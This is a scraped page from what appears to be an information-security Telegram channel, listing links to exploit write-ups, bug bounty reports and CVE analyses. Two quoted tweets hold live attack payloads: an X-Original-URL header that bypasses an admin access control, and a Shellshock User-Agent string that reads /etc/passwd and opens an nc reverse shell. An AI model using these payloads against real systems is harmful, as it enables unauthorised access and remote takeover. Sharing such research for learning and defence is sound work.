Information Security
@sec_nerd_en
415
subscribers
157
photos
5
videos
9
files
2.28K
links
Information Security News
we are
@sec_nerd
twin brother
Download Telegram
Join
Information Security
415 subscribers
Information Security
https://www.gremwell.com/firefox-xss-302
Information Security
https://twitter.com/hunter0x7/status/1312110348841840640?s=20
Twitter
Ahsan Khan
GET /admin HTTP/1.1 Host: https://t.co/kc0BFkaTX3 ... Access is denied GET /test HTTP/1.1 Host: https://t.co/kc0BFkaTX3 X-Original-URL: /admin HTTP/1.1 200 OK
Information Security
https://3os.org/raspberryPi/TOR-Pi/
Information Security
https://medium.com/bugbountywriteup/hacking-the-medium-partner-program-84c0e9fa340
Medium
Hacking the Medium partner program
How my name was added to humans.txt for scoring my first bug bounty, a severity 2 one at that!
Information Security
https://ninetyn1ne.github.io/2020-10-05-open-redir-to-ato/
Home
Watch your requests!
open redirect to a complete account takeover
Information Security
https://mazinahmed.net/uploads/Evading%20All%20Web-Application%20Firewalls%20XSS%20Filters.pdf
Information Security
https://github.com/GainSec/GoldenNuggets-1
GitHub
GitHub - GainSec/GoldenNuggets-1: Burp Extension for easily creating Wordlists
Burp Extension for easily creating Wordlists. Contribute to GainSec/GoldenNuggets-1 development by creating an account on GitHub.
Information Security
http://www.missoumsai.com/google-csrfs.html
Information Security
https://medium.com/@nasbench/a-deep-dive-into-rundll32-exe-642344b41e90
Medium
A Deep Dive Into RUNDLL32.EXE
Understanding “rundll32.exe” command line arguments
Information Security
https://securitylab.github.com/research/ubuntu-apport-CVE-2019-15790
GitHub Security Lab
Ubuntu apport PID recycling vulnerability (CVE-2019-15790)
This is the third post in a series about Ubuntu’s crash reporting system. We’ll review CVE-2019-15790, a vulnerability in apport that enables a local attacker to obtain the ASLR offsets for any process they can start (or restart).
Information Security
https://i.blackhat.com/asia-20/Friday/asia-20-Yuval-Avrahami-Escaping-Virtualized-Containers.pdf
Information Security
https://dtm.uk/wuauclt/
@dtmsecurity
Code execution via the Windows Update client (wuauclt)
Its been a few months since my last post about uploading and downloading data with certreq.exe as a potential alternative to certutil.exe in LOLBIN land. I've been having a blast starting my new role in the MDSec ActiveBreach team.
Today I wanted to share…
Information Security
https://twitter.com/hunter0x7/status/1315541095783292929
Twitter
Ahsan Khan
Test on CGI (cgi-bin) User-Agent: () { :;}; echo $(</etc/passwd) () { :;}; /usr/bin/nc ip 1337 -e /bin/bash
Information Security
https://blog.dixitaditya.com/one-click-ssl-pinning-bypass-setup
All Things Security
One-click SSL-Pinning Bypass Setup
This article provides an easy single-click Frida installation script and walkthrough for Android application pentests.
Information Security
https://sidechannel.tempestsi.com/html-to-pdf-converters-can-i-hack-them-a681cfee0903
Information Security
https://medium.com/bugbountywriteup/hacking-http-cors-from-inside-out-512cb125c528?source=rss----7b722bfd1b8d---4
Medium
Hacking HTTP CORS from inside out: a theory to practice approach
A theory to practice approach
Information Security
https://h0mbre.github.io/RyzenMaster_CVE/
The Human Machine Interface
CVE-2020-12928 Exploit Proof-of-Concept, Privilege Escalation in AMD Ryzen Master AMDRyzenMasterDriver.sys
Background Earlier this year I was really focused on Windows exploit development and was working through the FuzzySecurity exploit development tutorials on the HackSysExtremeVulnerableDriver to try and learn and eventually went bug hunting on my own.
Information Security
https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation/
GoSecure
Automating local DTD discovery for XXE exploitation
Today, we present the method to exploit XXEs with local a Document Type Declaration (DTD) file. More specifically, how we have built a huge list of reusable DTD files.
Information Security
https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1
mksben.l0.cm
Discord Desktop app RCE
A few months ago, I discovered a remote code execution issue in the Discord desktop application and I reported it via their Bug Bounty Prog...
Information Security
https://devcraft.io/2020/10/18/github-rce-git-inject.html
devcraft.io
GitHub - RCE via git option injection (almost) - $20,000 Bounty
It had been a while since I’d looked into GitHub, so I thought it would be good to spin up a fresh enterprise trial and see what I could find. The GHE code is obfuscated, but it’s just to discourage customers from messing around and if you do a bit of googling…
Information Security
https://www.ambionics.io/blog/symfony-secret-fragment
Ambionics
Secret fragments: Remote code execution on Symfony based websites
Remote code execution using Symfony's _fragment's page and unsecure secret values.
